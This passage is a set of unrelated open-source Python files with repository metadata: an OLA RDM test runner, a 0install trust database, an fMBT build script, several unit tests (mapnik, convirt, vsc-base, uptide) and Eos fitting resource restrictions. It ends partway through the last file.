#!/usr/bin/python # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # ola_rdm_get.py # Copyright (C) 2010 Simon Newton '''Automated testing for RDM responders.''' __author__ = '[email protected] (Simon Newton)' import ResponderTest import TestDefinitions import TestRunner import inspect import logging import re import sys import textwrap import time from DMXSender import DMXSender from TestState import TestState from ola import PidStore from ola.ClientWrapper import ClientWrapper from ola.UID import UID from optparse import OptionParser, OptionGroup, OptionValueError def ParseOptions(): usage = 'Usage: %prog [options] <uid>' description = textwrap.dedent("""\ Run a series of tests on a RDM responder to check the behaviour. This requires the OLA server to be running, and the RDM device to have been detected. You can confirm this by running ola_rdm_discover -u UNIVERSE. This will send SET commands to the broadcast UIDs which means the start address, device label etc. will be changed for all devices connected to the responder. Think twice about running this on your production lighting rig. """) parser = OptionParser(usage, description=description) parser.add_option('-c', '--slot_count', default=10, help='Number of slots to send when sending DMX.') parser.add_option('-d', '--debug', action='store_true', help='Print debug information to assist in diagnosing ' 'failures.') parser.add_option('-f', '--dmx_frame_rate', default=0, type='int', help='Send DMX frames at this rate in the background.') parser.add_option('-l', '--log', metavar='FILE', help='Also log to the file named FILE.uid.timestamp.') parser.add_option('-p', '--pid_file', metavar='FILE', help='The file to load the PID definitions from.') parser.add_option('-s', '--skip_check', action='store_true', help='Skip the check for multiple devices.') parser.add_option('-t', '--tests', metavar='TEST1,TEST2', help='A comma separated list of tests to run.') parser.add_option('--no-factory-defaults', action='store_true', help="Don't run the SET factory defaults tests") parser.add_option('-w', '--broadcast_write_delay', default=0, type='int', help='The time in ms to wait after sending broadcast set' 'commands.') parser.add_option('-u', '--universe', default=0, type='int', help='The universe number to use, default is universe 0.') options, args = parser.parse_args() if not args: parser.print_help() sys.exit(2) uid = UID.FromString(args[0]) if uid is None: parser.print_usage() print 'Invalid UID: %s' % args[0] sys.exit(2) options.uid = uid return options class MyFilter(object): """Filter out the ascii coloring.""" def filter(self, record): msg = record.msg record.msg = re.sub('\x1b\[\d*m', '', str(msg)) return True def SetupLogging(options): """Setup the logging for test results.""" level = logging.INFO if options.debug: level = logging.DEBUG logging.basicConfig( level=level, format='%(message)s') if options.log: file_name = '%s.%s.%d' % (options.log, options.uid, time.time()) file_handler =logging.FileHandler(file_name, 'w') file_handler.addFilter(MyFilter()) if options.debug: file_handler.setLevel(logging.DEBUG) logging.getLogger('').addHandler(file_handler) def DisplaySummary(tests): """Print a summary of the tests.""" by_category = {} warnings = [] advisories = [] count_by_state = {} for test in tests: state = test.state count_by_state[state] = count_by_state.get(state, 0) + 1 warnings.extend(test.warnings) advisories.extend(test.advisories) by_category.setdefault(test.category, {}) by_category[test.category][state] = (1 + by_category[test.category].get(state, 0)) total = sum(count_by_state.values()) logging.info('------------------- Warnings --------------------') for warning in sorted(warnings): logging.info(warning) logging.info('------------------ Advisories -------------------') for advisory in sorted(advisories): logging.info(advisory) logging.info('------------------ By Category ------------------') for category, counts in by_category.iteritems(): passed = counts.get(TestState.PASSED, 0) total_run = (passed + counts.get(TestState.FAILED, 0)) if total_run == 0: continue percent = 1.0 * passed / total_run logging.info(' %26s: %3d / %3d %.0f%%' % (category, passed, total_run, percent * 100)) logging.info('-------------------------------------------------') logging.info('%d / %d tests run, %d passed, %d failed, %d broken' % ( total - count_by_state.get(TestState.NOT_RUN, 0), total, count_by_state.get(TestState.PASSED, 0), count_by_state.get(TestState.FAILED, 0), count_by_state.get(TestState.BROKEN, 0))) def main(): options = ParseOptions() SetupLogging(options) pid_store = PidStore.GetStore(options.pid_file) wrapper = ClientWrapper() global uid_ok uid_ok = False def UIDList(state, uids): wrapper.Stop() global uid_ok if not state.Succeeded(): logging.error('Fetch failed: %s' % state.message) return for uid in uids: if uid == options.uid: logging.debug('Found UID %s' % options.uid) uid_ok = True if not uid_ok: logging.error('UID %s not found in universe %d' % (options.uid, options.universe)) return if len(uids) > 1: logging.info( 'The following devices were detected and will be reconfigued') for uid in uids: logging.info(' %s' % uid) if not options.skip_check: logging.info('Continue ? [Y/n]') response = raw_input().strip().lower() uid_ok = response == 'y' or response == '' logging.debug('Fetching UID list from server') wrapper.Client().FetchUIDList(options.universe, UIDList) wrapper.Run() wrapper.Reset() if not uid_ok: sys.exit() test_filter = None if options.tests is not None: logging.info('Restricting tests to %s' % options.tests) test_filter = set(options.tests.split(',')) logging.info('Starting tests, universe %d, UID %s' % (options.universe, options.uid)) runner = TestRunner.TestRunner(options.universe, options.uid, options.broadcast_write_delay, pid_store, wrapper) for symbol in dir(TestDefinitions): obj = getattr(TestDefinitions, symbol) if not inspect.isclass(obj): continue if (obj == ResponderTest.ResponderTestFixture or obj == ResponderTest.OptionalParameterTestFixture): continue if issubclass(obj, ResponderTest.ResponderTestFixture): runner.RegisterTest(obj) dmx_sender = DMXSender(wrapper, options.universe, options.dmx_frame_rate, options.slot_count) tests, device = runner.RunTests(test_filter, options.no_factory_defaults) DisplaySummary(tests) if __name__ == '__main__': main()
emonty/ola
tools/rdm/ola_rdm_test.py
Python
lgpl-2.1
8,131
#!/usr/bin/env python # -*- coding: utf-8 -*- from nose.tools import eq_ from utilities import run_all import mapnik # Map initialization def test_layer_init(): l = mapnik.Layer('test') eq_(l.name,'test') eq_(l.srs,'+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs') eq_(l.envelope(),mapnik.Box2d()) eq_(l.clear_label_cache,False) eq_(l.cache_features,False) eq_(l.visible(1),True) eq_(l.active,True) eq_(l.datasource,None) eq_(l.queryable,False) eq_(l.minzoom,0.0) eq_(l.maxzoom > 1e+6,True) eq_(l.group_by,"") eq_(l.maximum_extent,None) eq_(l.buffer_size,None) eq_(len(l.styles),0) if __name__ == "__main__": exit(run_all(eval(x) for x in dir() if x.startswith("test_")))
rouault/mapnik
tests/python_tests/layer_test.py
Python
lgpl-2.1
745
""" Records who we trust to sign feeds. Trust is divided up into domains, so that it is possible to trust a key in some cases and not others. @var trust_db: Singleton trust database instance. """ # Copyright (C) 2009, Thomas Leonard # See the README file for details, or visit http://0install.net. from zeroinstall import _, SafeException, logger import os from zeroinstall import support from zeroinstall.support import basedir, tasks from .namespaces import config_site, config_prog, XMLNS_TRUST KEY_INFO_TIMEOUT = 10 # Maximum time to wait for response from key-info-server class TrustDB(object): """A database of trusted keys. @ivar keys: maps trusted key fingerprints to a set of domains for which where it is trusted @type keys: {str: set(str)} @ivar watchers: callbacks invoked by L{notify} @see: L{trust_db} - the singleton instance of this class""" __slots__ = ['keys', 'watchers', '_dry_run'] def __init__(self): self.keys = None self.watchers = [] self._dry_run = False def is_trusted(self, fingerprint, domain = None): self.ensure_uptodate() domains = self.keys.get(fingerprint, None) if not domains: return False # Unknown key if domain is None: return True # Deprecated return domain in domains or '*' in domains def get_trust_domains(self, fingerprint): """Return the set of domains in which this key is trusted. If the list includes '*' then the key is trusted everywhere. @since: 0.27 """ self.ensure_uptodate() return self.keys.get(fingerprint, set()) def get_keys_for_domain(self, domain): """Return the set of keys trusted for this domain. @since: 0.27""" self.ensure_uptodate() return set([fp for fp in self.keys if domain in self.keys[fp]]) def trust_key(self, fingerprint, domain = '*'): """Add key to the list of trusted fingerprints. @param fingerprint: base 16 fingerprint without any spaces @type fingerprint: str @param domain: domain in which key is to be trusted @type domain: str @note: call L{notify} after trusting one or more new keys""" if self.is_trusted(fingerprint, domain): return if self._dry_run: print(_("[dry-run] would trust key {key} for {domain}").format(key = fingerprint, domain = domain)) int(fingerprint, 16) # Ensure fingerprint is valid if fingerprint not in self.keys: self.keys[fingerprint] = set() #if domain == '*': # warn("Calling trust_key() without a domain is deprecated") self.keys[fingerprint].add(domain) self.save() def untrust_key(self, key, domain = '*'): if self._dry_run: print(_("[dry-run] would untrust key {key} for {domain}").format(key = key, domain = domain)) self.ensure_uptodate() self.keys[key].remove(domain) if not self.keys[key]: # No more domains for this key del self.keys[key] self.save() def save(self): d = basedir.save_config_path(config_site, config_prog) db_file = os.path.join(d, 'trustdb.xml') if self._dry_run: print(_("[dry-run] would update trust database {file}").format(file = db_file)) return from xml.dom import minidom import tempfile doc = minidom.Document() root = doc.createElementNS(XMLNS_TRUST, 'trusted-keys') root.setAttribute('xmlns', XMLNS_TRUST) doc.appendChild(root) for fingerprint in self.keys: keyelem = doc.createElementNS(XMLNS_TRUST, 'key') root.appendChild(keyelem) keyelem.setAttribute('fingerprint', fingerprint) for domain in self.keys[fingerprint]: domainelem = doc.createElementNS(XMLNS_TRUST, 'domain') domainelem.setAttribute('value', domain) keyelem.appendChild(domainelem) with tempfile.NamedTemporaryFile(dir = d, prefix = 'trust-', delete = False, mode = 'wt') as tmp: doc.writexml(tmp, indent = "", addindent = " ", newl = "\n", encoding = 'utf-8') support.portable_rename(tmp.name, db_file) def notify(self): """Call all watcher callbacks. This should be called after trusting or untrusting one or more new keys. @since: 0.25""" for w in self.watchers: w() def ensure_uptodate(self): if self._dry_run: if self.keys is None: self.keys = {} return from xml.dom import minidom # This is a bit inefficient... (could cache things) self.keys = {} trust = basedir.load_first_config(config_site, config_prog, 'trustdb.xml') if trust: keys = minidom.parse(trust).documentElement for key in keys.getElementsByTagNameNS(XMLNS_TRUST, 'key'): domains = set() self.keys[key.getAttribute('fingerprint')] = domains for domain in key.getElementsByTagNameNS(XMLNS_TRUST, 'domain'): domains.add(domain.getAttribute('value')) else: # Convert old database to XML format trust = basedir.load_first_config(config_site, config_prog, 'trust') if trust: #print "Loading trust from", trust_db with open(trust, 'rt') as stream: for key in stream: if key: self.keys[key] = set(['*']) def domain_from_url(url): """Extract the trust domain for a URL. @param url: the feed's URL @type url: str @return: the trust domain @rtype: str @since: 0.27 @raise SafeException: the URL can't be parsed""" try: import urlparse except ImportError: from urllib import parse as urlparse # Python 3 if os.path.isabs(url): raise SafeException(_("Can't get domain from a local path: '%s'") % url) domain = urlparse.urlparse(url)[1] if domain and domain != '*': return domain raise SafeException(_("Can't extract domain from URL '%s'") % url) trust_db = TrustDB() class TrustMgr(object): """A TrustMgr handles the process of deciding whether to trust new keys (contacting the key information server, prompting the user, accepting automatically, etc) @since: 0.53""" __slots__ = ['config', '_current_confirm'] def __init__(self, config): self.config = config self._current_confirm = None # (a lock to prevent asking the user multiple questions at once) @tasks.async def confirm_keys(self, pending): """We don't trust any of the signatures yet. Collect information about them and add the keys to the trusted list, possibly after confirming with the user (via config.handler). Updates the L{trust} database, and then calls L{trust.TrustDB.notify}. @since: 0.53 @arg pending: an object holding details of the updated feed @type pending: L{PendingFeed} @return: A blocker that triggers when the user has chosen, or None if already done. @rtype: None | L{Blocker}""" assert pending.sigs from zeroinstall.injector import gpg valid_sigs = [s for s in pending.sigs if isinstance(s, gpg.ValidSig)] if not valid_sigs: def format_sig(sig): msg = str(sig) if sig.messages: msg += "\nMessages from GPG:\n" + sig.messages return msg raise SafeException(_('No valid signatures found on "%(url)s". Signatures:%(signatures)s') % {'url': pending.url, 'signatures': ''.join(['\n- ' + format_sig(s) for s in pending.sigs])}) # Start downloading information about the keys... fetcher = self.config.fetcher kfs = {} for sig in valid_sigs: kfs[sig] = fetcher.fetch_key_info(sig.fingerprint) # Wait up to KEY_INFO_TIMEOUT seconds for key information to arrive. Avoids having the dialog # box update while the user is looking at it, and may allow it to be skipped completely in some # cases. timeout = tasks.TimeoutBlocker(KEY_INFO_TIMEOUT, "key info timeout") while True: key_info_blockers = [sig_info.blocker for sig_info in kfs.values() if sig_info.blocker is not None] if not key_info_blockers: break logger.info("Waiting for response from key-info server: %s", key_info_blockers) yield [timeout] + key_info_blockers if timeout.happened: logger.info("Timeout waiting for key info response") break # If we're already confirming something else, wait for that to finish... while self._current_confirm is not None: logger.info("Waiting for previous key confirmations to finish") yield self._current_confirm domain = domain_from_url(pending.url) if self.config.auto_approve_keys: existing_feed = self.config.iface_cache.get_feed(pending.url) if not existing_feed: changes = False trust_db._dry_run = self.config.handler.dry_run for sig, kf in kfs.items(): for key_info in kf.info: if key_info.getAttribute("vote") == "good": logger.info(_("Automatically approving key for new feed %s based on response from key info server"), pending.url) trust_db.trust_key(sig.fingerprint, domain) changes = True if changes: trust_db.notify() # Check whether we still need to confirm. The user may have # already approved one of the keys while dealing with another # feed, or we may have just auto-approved it. for sig in kfs: is_trusted = trust_db.is_trusted(sig.fingerprint, domain) if is_trusted: return # Take the lock and confirm this feed self._current_confirm = lock = tasks.Blocker('confirm key lock') try: done = self.config.handler.confirm_import_feed(pending, kfs) if done is not None: yield done tasks.check(done) finally: self._current_confirm = None lock.trigger()
dsqmoore/0install
zeroinstall/injector/trust.py
Python
lgpl-2.1
9,078
# # Copyright 2015-2016 Red Hat, Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # Refer to the README and COPYING files for full details of the license # from __future__ import absolute_import import contextlib import os import uuid import xml.etree.ElementTree as ET import convirt import convirt.config import convirt.config.environ import convirt.xmlfile from . import testlib class XMLFileTests(testlib.TestCase): def setUp(self): self.vm_uuid = str(uuid.uuid4()) @contextlib.contextmanager def test_env(self): with testlib.named_temp_dir() as tmp_dir: with testlib.global_conf(run_dir=tmp_dir): yield convirt.xmlfile.XMLFile( self.vm_uuid, convirt.config.environ.current() ) def test_fails_without_conf(self): self.assertRaises(convirt.xmlfile.UnconfiguredXML, convirt.xmlfile.XMLFile, self.vm_uuid, None) def test_path(self): with self.test_env() as xf: self.assertTrue(xf.path.endswith('xml')) self.assertIn(self.vm_uuid, xf.path) def test_save(self): root = ET.fromstring(testlib.minimal_dom_xml()) with self.test_env() as xf: conf = convirt.config.environ.current() self.assertEquals(os.listdir(conf.run_dir), []) self.assertNotRaises(xf.save, root) self.assertTrue(len(os.listdir(conf.run_dir)), 1) def test_load(self): xml_data = testlib.minimal_dom_xml() root = ET.fromstring(xml_data) with self.test_env() as xf: xf.save(root) new_root = xf.load() xml_copy = convirt.xmlfile.XMLFile.encode(new_root) # FIXME: nasty trick to tidy up the XML xml_ref = convirt.xmlfile.XMLFile.encode(root) self.assertEquals(xml_ref, xml_copy) def test_clear(self): xml_data = testlib.minimal_dom_xml() root = ET.fromstring(xml_data) with self.test_env() as xf: xf.save(root) conf = convirt.config.environ.current() self.assertTrue(len(os.listdir(conf.run_dir)), 1) self.assertNotRaises(xf.clear) self.assertEquals(os.listdir(conf.run_dir), [])
mojaves/convirt
tests/xmlfile_test.py
Python
lgpl-2.1
3,016
#!/usr/bin/env python2 from distutils.core import setup, Extension import os import subprocess import sys def check_output(*args): """subprocess.check_output, for Python 2.6 compatibility""" p = subprocess.Popen(*args, stdout=subprocess.PIPE) out, err = p.communicate() exitstatus = p.poll() if exitstatus: raise subprocess.CalledProcessError(exitstatus, args[0]) return out def pkg_config(package): if os.name == "nt": if package == "MagickCore": # pkg-config cannot be used, try to find needed libraries from the filesystem import fnmatch libraries = ["CORE_RL_magick_"] library_dirs = [] include_dirs = [] missing_libs = set(["kernel32.lib"] + [l + ".lib" for l in libraries]) missing_headers = set(["magick/MagickCore.h"]) for rootdir, dirnames, filenames in os.walk(os.environ["ProgramFiles"]): for library in sorted(missing_libs): if fnmatch.filter(filenames, library) and not "x64" in rootdir: library_dirs.append(rootdir) missing_libs.remove(library) if not missing_libs: break for header in missing_headers: if fnmatch.filter(filenames, os.path.basename(header)): if os.path.dirname(header) == "": include_dirs.append(rootdir) elif os.path.dirname(header) == os.path.basename(rootdir): include_dirs.append(os.path.dirname(rootdir)) missing_headers.remove(header) if not missing_headers: break if not missing_libs and not missing_headers: break ext_args = { "libraries": libraries, "library_dirs": sorted(set(library_dirs)), "include_dirs": include_dirs, } else: sys.stderr.write('Unknown build parameters for package "%s"\n' % (package,)) sys.exit(1) else: _pkg_config = os.getenv("PKG_CONFIG","pkg-config") o = check_output([_pkg_config, "--libs", "--cflags", package]) ext_args = {"libraries": [], "library_dirs": [], "include_dirs": [], "extra_compile_args": []} for arg in o.split(): if arg.startswith("-L"): ext_args["library_dirs"].append(arg[2:]) elif arg.startswith("-l"): ext_args["libraries"].append(arg[2:]) elif arg.startswith("-I"): ext_args["include_dirs"].append(arg[2:]) elif arg.startswith("-f") or arg.startswith("-D"): ext_args["extra_compile_args"].append(arg) else: raise ValueError('Unexpected pkg-config output: "%s" in "%s"' % (arg, o)) return ext_args fmbt_utils_dir = os.path.join(os.path.abspath(os.path.dirname(__file__)),os.getenv("VPATH","")) fmbt_dir = os.path.join(fmbt_utils_dir, "..") version = (file(os.path.join(fmbt_dir, "configure.ac"), "r") .readline() .split(",")[1] .replace(' ','') .replace('[','') .replace(']','')) lines = [line.replace("\\","").strip() for line in file(os.path.join(fmbt_utils_dir, "Makefile.am")) if not "=" in line] modules = [module.replace(".py","") for module in lines[lines.index("# modules")+1: lines.index("# end of modules")]] scripts = lines[lines.index("# scripts")+1: lines.index("# end of scripts")] ext_modules = [] if os.getenv("with_imagemagick", "yes").lower() != "no": eye4graphcs_buildflags = pkg_config("MagickCore") ext_eye4graphics = Extension('eye4graphics', sources = ['eye4graphics.cc'], **eye4graphcs_buildflags) ext_modules.append(ext_eye4graphics) setup(name = 'fmbt-python', version = version, description = 'fMBT Python tools and libraries', author = 'Antti Kervinen', author_email = '[email protected]', py_modules = modules, scripts = scripts, ext_modules = ext_modules )
01org/fMBT
utils/setup.py
Python
lgpl-2.1
4,418
import logging from tornado.web import RequestHandler from NXTornadoWServer.ControlSocketHandler import ControlSocketHandler class ClientsHandler(RequestHandler): def get(self): try: controller_i = ControlSocketHandler.clients.index(ControlSocketHandler.client_controller) except ValueError: controller_i = 0 return self.render('../static/clients.html', clients=ControlSocketHandler.clients, controller_i=controller_i) def post(self): args = {k: ''.join(v) for k, v in self.request.arguments.iteritems()} try: ControlSocketHandler.client_controller = ControlSocketHandler.clients[int(args['i'])] except IndexError: pass ControlSocketHandler.refresh_clients()
spseol/DOD-2014
NXTornadoWServer/NXTornadoWServer/ClientsHandler.py
Python
lgpl-2.1
775
# -*- coding: utf-8 -*- # # Copyright 2015-2017 Ghent University # # This file is part of vsc-base, # originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), # the Flemish Research Foundation (FWO) (http://www.fwo.be/en) # and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). # # https://github.com/hpcugent/vsc-base # # vsc-base is free software: you can redistribute it and/or modify # it under the terms of the GNU Library General Public License as # published by the Free Software Foundation, either version 2 of # the License, or (at your option) any later version. # # vsc-base is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library General Public License for more details. # # You should have received a copy of the GNU Library General Public License # along with vsc-base. If not, see <http://www.gnu.org/licenses/>. # """ Unit tests for exceptions module. @author: Kenneth Hoste (Ghent University) """ import logging import os import re import tempfile from unittest import TestLoader, main from vsc.utils.exceptions import LoggedException, get_callers_logger from vsc.utils.fancylogger import getLogger, logToFile, logToScreen, getRootLoggerName, setLogFormat from vsc.install.testing import TestCase def raise_loggedexception(msg, *args, **kwargs): """Utility function: just raise a LoggedException.""" raise LoggedException(msg, *args, **kwargs) class ExceptionsTest(TestCase): """Tests for exceptions module.""" def test_loggedexception_defaultlogger(self): """Test LoggedException custom exception class.""" fd, tmplog = tempfile.mkstemp() os.close(fd) # set log format, for each regex searching setLogFormat("%(name)s :: %(message)s") # if no logger is available, and no logger is specified, use default 'root' fancylogger logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_loggedexception, 'BOOM') logToFile(tmplog, enable=False) log_re = re.compile("^%s :: BOOM( \(at .*:[0-9]+ in raise_loggedexception\))?$" % getRootLoggerName(), re.M) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) # test formatting of message self.assertErrorRegex(LoggedException, 'BOOMBAF', raise_loggedexception, 'BOOM%s', 'BAF') # test log message that contains '%s' without any formatting arguments being passed # test formatting of message self.assertErrorRegex(LoggedException, "BOOM '%s'", raise_loggedexception, "BOOM '%s'") os.remove(tmplog) def test_loggedexception_specifiedlogger(self): """Test LoggedException custom exception class.""" fd, tmplog = tempfile.mkstemp() os.close(fd) # set log format, for each regex searching setLogFormat("%(name)s :: %(message)s") logger1 = getLogger('testlogger_one') logger2 = getLogger('testlogger_two') # if logger is specified, it should be used logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_loggedexception, 'BOOM', logger=logger1) logToFile(tmplog, enable=False) rootlog = getRootLoggerName() log_re = re.compile("^%s.testlogger_one :: BOOM( \(at .*:[0-9]+ in raise_loggedexception\))?$" % rootlog, re.M) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) os.remove(tmplog) def test_loggedexception_callerlogger(self): """Test LoggedException custom exception class.""" fd, tmplog = tempfile.mkstemp() os.close(fd) # set log format, for each regex searching setLogFormat("%(name)s :: %(message)s") logger = getLogger('testlogger_local') # if no logger is specified, logger available in calling context should be used logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_loggedexception, 'BOOM') logToFile(tmplog, enable=False) rootlog = getRootLoggerName() log_re = re.compile("^%s(.testlogger_local)? :: BOOM( \(at .*:[0-9]+ in raise_loggedexception\))?$" % rootlog) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) os.remove(tmplog) def test_loggedexception_location(self): """Test inclusion of location information in log message for LoggedException.""" class TestException(LoggedException): LOC_INFO_TOP_PKG_NAMES = None INCLUDE_LOCATION = True def raise_testexception(msg, *args, **kwargs): """Utility function: just raise a TestException.""" raise TestException(msg, *args, **kwargs) fd, tmplog = tempfile.mkstemp() os.close(fd) # set log format, for each regex searching setLogFormat("%(name)s :: %(message)s") # no location with default LOC_INFO_TOP_PKG_NAMES ([]) logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_testexception, 'BOOM') logToFile(tmplog, enable=False) rootlogname = getRootLoggerName() log_re = re.compile("^%s :: BOOM$" % rootlogname, re.M) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) f = open(tmplog, 'w') f.write('') f.close() # location is included if LOC_INFO_TOP_PKG_NAMES is defined TestException.LOC_INFO_TOP_PKG_NAMES = ['vsc'] logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_testexception, 'BOOM') logToFile(tmplog, enable=False) log_re = re.compile(r"^%s :: BOOM \(at (?:.*?/)?vsc/install/testing.py:[0-9]+ in assertErrorRegex\)$" % rootlogname) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) f = open(tmplog, 'w') f.write('') f.close() # absolute path of location is included if there's no match in LOC_INFO_TOP_PKG_NAMES TestException.LOC_INFO_TOP_PKG_NAMES = ['foobar'] logToFile(tmplog, enable=True) self.assertErrorRegex(LoggedException, 'BOOM', raise_testexception, 'BOOM') logToFile(tmplog, enable=False) log_re = re.compile(r"^%s :: BOOM \(at (?:.*?/)?vsc/install/testing.py:[0-9]+ in assertErrorRegex\)$" % rootlogname) logtxt = open(tmplog, 'r').read() self.assertTrue(log_re.match(logtxt), "%s matches %s" % (log_re.pattern, logtxt)) os.remove(tmplog) def test_get_callers_logger(self): """Test get_callers_logger function.""" # returns None if no logger is available self.assertEqual(get_callers_logger(), None) # find defined logger in caller's context logger = getLogger('foo') callers_logger = get_callers_logger() # result depends on whether tests were run under 'python' or 'python -O' self.assertTrue(callers_logger in [logger, None]) # also works when logger is 'higher up' class Test(object): """Dummy test class""" def foo(self, logger=None): """Dummy test method, returns logger from calling context.""" return get_callers_logger() test = Test() self.assertTrue(logger, [test.foo(), None]) # closest logger to caller is preferred logger2 = getLogger(test.__class__.__name__) self.assertTrue(logger2 in [test.foo(logger=logger2), None]) def suite(): """ returns all the testcases in this module """ return TestLoader().loadTestsFromTestCase(ExceptionsTest) if __name__ == '__main__': """Use this __main__ block to help write and test unittests""" main()
rjeschmi/vsc-base
test/exceptions.py
Python
lgpl-2.1
8,315
"""A modest set of tools to work with Django models.""" # Always prefer setuptools over distutils from setuptools import setup, find_packages # To use a consistent encoding from codecs import open from os import path here = path.abspath(path.dirname(__file__)) # Get the long description from the relevant file # with open(path.join(here, 'DESCRIPTION.rst'), encoding='utf-8') as f: # long_description = f.read() setup( name='sculpt.model_tools', version='0.1', description='A modest set of tools to work with Django models.', long_description='', url='https://github.com/damienjones/sculpt-model-tools', author='Damien M. Jones', author_email='[email protected]', license='LGPLv2', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ], keywords='', packages=find_packages(), install_requires=[ 'sculpt-common>=0.2', ], # package_data={}, # data_files=[], # entry_points={}, # console_scripts={}, )
damienjones/sculpt-model-tools
setup.py
Python
lgpl-2.1
1,198
import unittest import uptide.tidal as ut import datetime import math class TestTidal(unittest.TestCase): """Tests the uptide.tidal module (basic astronomical calculations)""" def setUp(self): # a random, insignificant date self.date = datetime.datetime(1975, 10, 24, 1, 2, 3) # I can see great things in the stars for that date self.HshpNpp = ut.astronomical_argument(self.date) def test_astronomical_argument(self): for x, y in zip(self.HshpNpp, (15.5125, 365118.84020756715, 27571.821754149107, 3419.0518557573282, -1207.0853423332171, 282.52421802604846)): self.assertAlmostEqual(x, y) def test_nodal_arguments(self): H, s, h, p, N, pp = self.HshpNpp # pick a lunar, solar and overtide f, u = ut.nodal_corrections(['M2', 'S2', 'MS4'], N, pp) for x, y in zip(f, ([1.0223111452791003, 1.0, 1.0223111452791003])): self.assertAlmostEqual(x, y) for x, y in zip(u, [0.02923862937459855, -0.0, 0.02923862937459855]): self.assertAlmostEqual(x, y) def test_tidal_arguments(self): H, s, h, p, N, pp = self.HshpNpp # pick a lunar, solar and overtide phi = ut.tidal_arguments(['N2', 'S2', 'M4'], self.date) for x, y in zip(phi, [-18094.924426709691, 0.54148840043124069, -23564.144432407946]): self.assertAlmostEqual(x, y) def test_omegas(self): self.assertAlmostEqual(ut.omega['M2'], 0.0001405189) # exactly twice a day: self.assertAlmostEqual(ut.omega['S2'], 4*math.pi/86400.) self.assertAlmostEqual(ut.omega['SSA'], 3.9821275945895842e-07) if __name__ == '__main__': unittest.main()
stephankramer/uptide
tests/test_tidal.py
Python
lgpl-3.0
1,855
# ============================================================================== # Copyright (C) 2011 Diego Duclos # Copyright (C) 2011-2018 Anton Vorobyov # # This file is part of Eos. # # Eos is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Eos is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Eos. If not, see <http://www.gnu.org/licenses/>. # ============================================================================== from abc import ABCMeta from abc import abstractmethod from collections import namedtuple from eos.const.eos import Restriction from eos.const.eve import AttrId from eos.restriction.exception import RestrictionValidationError from .base import BaseRestriction ResourceErrorData = namedtuple( 'ResourceErrorData', ('total_use', 'output', 'item_use')) class ResourceRestriction(BaseRestriction, metaclass=ABCMeta): """Base class for all resource restrictions. Resources in this context is something produced by ship/character and consumed by other items. """ def __init__(self, fit): self.__fit = fit @property @abstractmethod def _stat_name(self): """This name will be used to get numbers from stats service.""" ... @property @abstractmethod def _use_attr_id(self): ... def validate(self): # Use stats module to get resource use and output stats = getattr(self.__fit.stats, self._stat_name) total_use = stats.used # Can be None, so fall back to 0 in this case output = stats.output or 0 # If we're not out of resource, do nothing if total_use <= output: return tainted_items = {} for item in stats._users: resource_use = item.attrs[self._use_attr_id] # Ignore items which do not actually consume resource if resource_use <= 0: continue tainted_items[item] = ResourceErrorData( total_use=total_use, output=output, item_use=resource_use) raise RestrictionValidationError(tainted_items) class CpuRestriction(ResourceRestriction): """CPU use by items should not exceed ship CPU output. Details: For validation, stats module data is used. """ type = Restriction.cpu _stat_name = 'cpu' _use_attr_id = AttrId.cpu class PowergridRestriction(ResourceRestriction): """Power grid use by items should not exceed ship power grid output. Details: For validation, stats module data is used. """ type = Restriction.powergrid _stat_name = 'powergrid' _use_attr_id = AttrId.power class CalibrationRestriction(ResourceRestriction): """Calibration use by items should not exceed ship calibration output. Details: For validation, stats module data is used. """ type = Restriction.calibration _stat_name = 'calibration' _use_attr_id = AttrId.upgrade_cost class DroneBayVolumeRestriction(ResourceRestriction): """Drone bay volume use by items should not exceed ship drone bay volume. Details: For validation, stats module data is used. """ type = Restriction.dronebay_volume 